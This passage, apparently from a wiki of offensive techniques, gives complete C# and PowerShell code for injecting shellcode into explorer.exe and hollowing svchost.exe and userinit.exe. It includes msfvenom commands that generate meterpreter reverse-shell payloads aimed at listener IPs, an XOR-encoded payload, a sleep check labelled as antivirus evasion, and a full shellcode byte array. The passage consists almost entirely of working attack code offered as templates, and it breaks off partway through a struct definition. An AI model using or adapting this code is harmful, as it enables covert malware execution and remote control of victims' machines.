        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
